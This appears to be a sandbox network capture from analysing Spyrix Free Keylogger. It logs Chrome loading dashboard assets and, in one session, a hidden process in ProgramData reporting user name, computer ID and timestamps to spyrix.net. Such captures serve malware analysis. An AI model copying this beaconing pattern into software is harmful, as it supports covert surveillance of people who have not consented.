2024-10-02 04:11:40 UTC	554	OUT	GET /dashboard30/assets/index-1178777c.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5163 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-142b" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:12:50+00:00 X-Node: m9-up-gc73 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	3706	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 46 2c 6f 20 61 73 20 49 2c 62 20 61 73 20 44 2c 69 20 61 73 20 50 2c 72 20 61 73 20 67 74 2c 6e 20 61 73 20 72 2c 75 20 61 73 20 74 2c 61 75 20 61 73 20 70 74 2c 67 20 61 73 20 48 2c 45 20 61 73 20 5f 74 2c 46 20 61 73 20 66 74 2c 24 20 61 73 20 76 74 2c 44 20 61 73 20 45 74 2c 4d 20 61 73 20 75 2c 63 20 61 73 20 77 2c 70 20 61 73 20 78 2c 52 20 61 73 20 79 2c 73 20 61 73 20 68 74 2c 61 74 20 61 73 20 77 74 2c 68 20 61 73 20 73 2c 79 20 61 73 20 64 2c 61 7a 20 61 73 20 78 74 2c 61 6d 20 61 73 20 79 74 2c 65 20 61 73 20 53 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 57 2c 75 20 61 73 20 4c 74 2c 62 20 61 73 20 50 74 2c 64 20 61 73 20 42 74 7d 66 Data Ascii: import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}f
2024-10-02 04:11:40 UTC	1457	IN	Data Raw: 38 2c 5b 22 74 65 78 74 22 5d 29 5d 29 2c 5f 3a 31 7d 29 5d 2c 32 29 2c 50 28 22 66 6f 72 6d 22 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 63 6f 6e 74 65 6e 74 5d 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 66 6f 72 6d 22 2c 6f 6e 4b 65 79 70 72 65 73 73 3a 78 74 28 47 2c 5b 22 65 6e 74 65 72 22 5d 29 7d 2c 5b 73 28 71 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 69 6e 70 75 74 5d 29 2c 76 61 6c 75 65 3a 74 28 67 29 2c 76 61 72 69 61 6e 74 3a 72 74 2e 76 61 6c 75 65 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 3a 74 28 52 29 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 74 28 61 29 28 22 45 6d 61 69 6c 22 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 65 6d 61 69 6c 22 2c 6f 6e 4f 6e 43 68 61 6e 67 65 3a 51 7d 2c 6e 75 6c 6c Data Ascii: 8,["text"])]),_:1})],2),P("form",{class:r([t(i).content]),"data-testid":"form",onKeypress:xt(G,["enter"])},[s(q,{class:r([t(i).input]),value:t(g),variant:rt.value,"additional-message":t(R),placeholder:t(a)("Email"),"data-testid":"email",onOnChange:Q},null

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49773	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	573	OUT	GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4589 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-11ed" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:12:45+00:00 X-Node: m9-up-gc41 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	3704	IN	Data Raw: 69 6d 70 6f 72 74 7b 4a 20 61 73 20 54 2c 24 20 61 73 20 4c 2c 46 20 61 73 20 79 2c 61 47 20 61 73 20 5f 2c 45 20 61 73 20 77 2c 61 4d 20 61 73 20 62 2c 61 41 20 61 73 20 52 2c 63 20 61 73 20 43 2c 70 20 61 73 20 46 2c 61 74 20 61 73 20 63 2c 52 20 61 73 20 4d 2c 61 76 20 61 73 20 66 2c 61 75 20 61 73 20 53 2c 61 77 20 61 73 20 75 2c 61 78 20 61 73 20 68 2c 61 63 20 61 73 20 4e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 76 61 72 20 70 3b 63 6f 6e 73 74 20 74 3d 54 28 29 2c 65 3d 4c 28 29 2c 72 3d 79 28 29 2c 61 3d 5f 28 29 2c 7b 73 65 74 44 65 66 61 75 6c 74 73 3a 6f 7d 3d 77 28 29 2c 73 3d 28 28 70 3d 72 2e 70 72 6f 67 72 61 6d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 70 Data Ascii: import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p
2024-10-02 04:11:40 UTC	885	IN	Data Raw: 65 72 69 66 69 63 61 74 69 6f 6e 50 68 6f 6e 65 43 61 6c 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 2c 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 66 65 74 63 68 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 2c 66 65 74 63 68 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 65 72 72 6f 72 7d 2c 63 68 65 63 6b 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 7d Data Ascii: erificationPhoneCall",{state:()=>({fetchPhoneCallStatus:{...u},checkPhoneCallStatus:{...u}}),getters:{fetchState(t){return t.fetchPhoneCallStatus.state},fetchError(t){return t.fetchPhoneCallStatus.error},checkState(t){return t.checkPhoneCallStatus.state}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49768	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	589	OUT	GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 613 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-265" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:20:37+00:00 X-Node: m9-up-gc234 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	613	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 63 20 61 73 20 72 2c 61 20 61 73 20 65 2c 6f 20 61 73 20 74 2c 62 20 61 73 20 63 2c 74 20 61 73 20 75 2c 6e 20 61 73 20 6c 2c 65 20 61 73 20 66 2c 55 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 6f 6e 65 52 6f 77 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 62 6f 6c 64 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 74 65 78 74 3a 7b 7d 2c 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 73 6d 22 7d 2c 63 6f 6c 6f 72 3a 7b 64 65 66 61 75 6c 74 3a 22 64 65 66 61 75 6c 74 22 7d 2c 75 70 70 65 72 63 61 73 65 Data Ascii: import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49777	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	574	OUT	GET /dashboard30/assets/Modal-04ffda94.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/css Content-Length: 1513 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-5e9" Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	1513	IN	Data Raw: 2e 5f 35 6b 4c 34 54 50 64 44 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 7a 2d 6d 6f 64 61 6c 2d 62 61 63 6b 64 72 6f 70 29 7d 2e 65 6f 50 78 2d 58 66 4c 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 2d 75 46 45 45 65 68 62 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 7a 2d 6d 6f 64 61 6c 2d 62 61 63 6b 64 72 6f 70 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 3b 6f 70 61 63 69 74 79 3a 31 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 38 30 7d 2e 66 4d 6f 33 5a 56 45 6c 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 7d 2e 5f 36 73 50 77 61 78 79 43 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 Data Ascii: ._5kL4TPdD{z-index:var(--z-modal-backdrop)}.eoPx-XfL{opacity:0}.-uFEEehb{position:fixed;width:100%;z-index:var(--z-modal-backdrop);height:100%;left:0;top:0;opacity:1;background-color:#00000080}.fMo3ZVEl{direction:rtl}._6sPwaxyC{position:fixed;top:50%;left

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49772	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	574	OUT	GET /dashboard30/assets/Input-34212571.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	303	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: text/css Content-Length: 3065 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-bf9" Cache: STALE X-Cached-Since: 2024-10-01T13:09:51+00:00 X-Node: m9-up-gc70 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	3065	IN	Data Raw: 2e 2d 7a 74 52 79 53 4e 68 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 66 69 74 2d 63 6f 6e 74 65 6e 74 7d 2e 46 74 74 30 43 70 57 51 7b 77 69 64 74 68 3a 32 30 30 70 78 7d 2e 5f 34 61 49 38 41 71 43 48 7b 6f 70 61 63 69 74 79 3a 2e 35 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 57 6e 4e 6f 78 4b 4b 48 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 33 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 69 6e 70 75 74 2d 62 6f 72 64 65 72 29 Data Ascii: .-ztRySNh{display:flex;position:relative;flex-direction:column;height:fit-content}.Ftt0CpWQ{width:200px}._4aI8AqCH{opacity:.5;pointer-events:none}.WnNoxKKH{width:100%;font-size:15px;padding:10px 13px;border-radius:10px;border:1px solid var(--input-border)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49780	158.69.117.119	443	6784	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	166	OUT	POST /dashboard/prg-actions HTTP/1.1 Host: spyrix.net User-Agent: curl/7.64.0 Accept: / Content-Length: 425 Content-Type: application/x-www-form-urlencoded
2024-10-02 04:11:40 UTC	425	OUT	Data Raw: 26 61 63 74 69 6f 6e 3d 61 70 70 3a 4d 6f 6e 69 74 6f 72 69 6e 67 3a 53 74 61 72 74 42 75 74 74 6f 6e 26 64 61 74 61 3d 26 70 72 67 5f 69 64 3d 53 70 79 72 69 78 20 46 72 65 65 20 4b 65 79 6c 6f 67 67 65 72 26 70 72 67 5f 76 65 72 3d 31 31 2e 36 2e 32 32 26 75 73 65 72 5f 6e 61 6d 65 3d 6a 6f 6e 65 73 26 75 73 65 72 3d 26 63 6f 6d 70 5f 6e 61 6d 65 3d 31 33 38 37 32 37 26 63 6f 6d 70 5f 69 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 5f 32 34 31 30 30 32 30 30 31 30 33 37 26 63 6f 6d 70 5f 74 69 6d 65 3d 32 30 32 34 2d 31 30 2d 30 32 20 30 30 3a 31 31 3a 33 37 2e 34 35 38 26 70 72 67 5f 6c 6e 67 3d 65 6e 67 6c 69 73 68 26 6f 73 5f 63 61 70 74 69 6f 6e 3d 20 28 29 26 6f 73 5f 74 79 70 65 Data Ascii: &action=app:Monitoring:StartButton&data=&prg_id=Spyrix Free Keylogger&prg_ver=11.6.22&user_name=user&user=&comp_name=138727&comp_id=9e146be9-c76a-4720-bcdb-53011b87bd06_241002001037&comp_time=2024-10-02 00:11:37.458&prg_lng=english&os_caption= ()&os_type
2024-10-02 04:11:41 UTC	170	IN	HTTP/1.1 201 Created Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 04:11:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49781	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	376	OUT	GET /dashboard30/assets/en-08b2a987.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:41 UTC	344	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-69c5" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-01T20:47:24+00:00 X-Node: m9-up-gc233
2024-10-02 04:11:41 UTC	3752	IN	Data Raw: 31 63 37 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 9d e9 6e dc 56 96 c7 bf cf 53 70 88 00 76 80 6b 61 d2 dd 98 1e b0 21 0c bc 24 8e 3b de e2 25 ee 04 03 a4 a9 2a 96 c4 36 8b ac 90 2c c9 4a 90 07 9a d7 98 27 9b df ff dc 7b 49 d6 22 c9 4b e2 76 3a fe 22 f1 ee db d9 cf b9 b7 66 4d dd f5 49 71 98 de 5c f7 cd aa ca cf 53 d7 1c a6 4f 8a bc 6b ea d4 f5 87 e9 9d a2 9b b5 e5 aa 2f 95 ce 0f d3 a7 7d de af bb d4 95 7c ce da a2 a8 bb 93 a6 4f 5d 7d 98 3e ea 4f 8a 36 75 dd 61 fa bc d3 47 4b a7 ab 55 45 8f 33 b2 ea 97 75 73 46 17 d5 61 7a ab 6d ce ac c6 fc 30 bd 5d 95 ab a3 26 6f e7 a9 5b 1f a6 2f 8a a3 59 be 4c dd ca c6 69 e9 f7 fc 30 fd fc 55 c9 c7 f2 30 fd a6 9c 17 4d 5b cc 52 77 42 79 b3 ae e7 96 38 f6 e3 94 b3 dc 4f 72 71 98 3e 2b fb aa 48 dd a9 fa 6f 3a be ce 0e Data Ascii: 1c75nVSpvka!$;%*6,J'{I"Kv:"fMIq\SOk/}\|O]}>O6uaGKUE3usFazm0]&o[/YLi0U0M[RwBy8Orq>+Ho:
2024-10-02 04:11:41 UTC	3541	IN	Data Raw: 41 41 44 1f e1 3d 79 ad 46 3e 10 69 3e 88 0b bd 82 12 c2 c6 36 f5 18 b7 f2 66 8d a4 f0 12 a9 89 98 a7 d0 98 ae 0b 01 86 7b 32 11 68 2c d0 3b 43 2c a9 cd ad bd e5 16 bf b4 78 6c fd 90 b5 8c e0 c1 26 c4 76 5b 05 66 be 5f 15 84 a0 87 30 07 f9 5b 8c 24 9b e9 48 4c 1a 0f c4 65 15 8c 2a a1 2b b2 93 d8 5e 16 72 d9 c8 d3 0e 6a fb 1e 7c 5c 47 d8 c2 68 73 7a 66 ea e5 1b 34 c1 b0 1d 6d 78 59 29 35 db 9b c4 46 25 4e 76 50 26 bb 3f 7f 4f fd 05 34 c7 02 03 77 5a 84 12 cc 3c 04 b9 d4 85 b3 a0 e6 0c 47 c3 a0 88 5e 85 37 c1 33 f1 0e 98 77 51 0f 90 1d f3 49 d0 b5 87 26 ed 73 0c f1 bb b0 c8 0e 39 c8 78 db 5e 18 7f c0 17 15 0a ad 7c b0 fc b0 d3 1e a3 76 32 6d 8c 51 39 84 1e 07 3a e4 07 d8 5b a2 18 82 89 ce 69 aa 0f 50 0f fc d0 e8 c2 22 1f 9d 20 78 f3 e2 85 22 13 62 ca f9 b0 Data Ascii: AAD=yF>i>6f{2h,;C,xl&v[f_0[$HLe*+^rj\|\Ghszf4mxY)5F%NvP&?O4wZ<G^73wQI&s9x^\|v2mQ9:[iP" x"b
2024-10-02 04:11:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49782	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	594	OUT	GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:41 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 733 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-2dd" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T00:54:02+00:00 X-Node: m9-up-gc88 Accept-Ranges: bytes
2024-10-02 04:11:41 UTC	733	IN	Data Raw: 69 6d 70 6f 72 74 7b 45 20 61 73 20 75 2c 73 20 61 73 20 6c 2c 61 74 20 61 73 20 69 2c 70 20 61 73 20 6d 2c 64 20 61 73 20 6f 2c 6f 20 61 73 20 72 2c 62 20 61 73 20 5f 2c 72 20 61 73 20 70 2c 6e 20 61 73 20 66 2c 75 20 61 73 20 63 2c 67 2c 65 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 68 7d 66 72 6f 6d 22 2e 2f 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 4d 6f 64 61 6c 2e 6d 6f 64 75 6c 65 2d 33 66 33 36 39 62 33 32 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e Data Ascii: import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49783	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:41 UTC	574	OUT	GET /dashboard30/assets/index-7e7c447a.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:41 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:41 GMT Content-Type: text/css Content-Length: 296 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-128" Cache: STALE X-Cached-Since: 2024-10-01T19:01:47+00:00 X-Node: m9-up-gc98 Accept-Ranges: bytes
2024-10-02 04:11:41 UTC	296	IN	Data Raw: 2e 4d 57 50 51 46 4d 6b 54 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 52 6a 7a 66 61 76 36 4e 2c 2e 64 38 4e 55 4e 65 49 6b 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 2e 63 44 44 52 65 5a 2d 6b 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 31 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 6c 51 Data Ascii: .MWPQFMkT{display:flex;flex-direction:column;align-items:center;justify-content:center}.Rjzfav6N,.d8NUNeIk{margin-bottom:10px}.cDDReZ-k{width:100%;display:flex;flex-direction:column;gap:10px;justify-content:center;align-items:center;margin-bottom:20px}.lQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49786	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
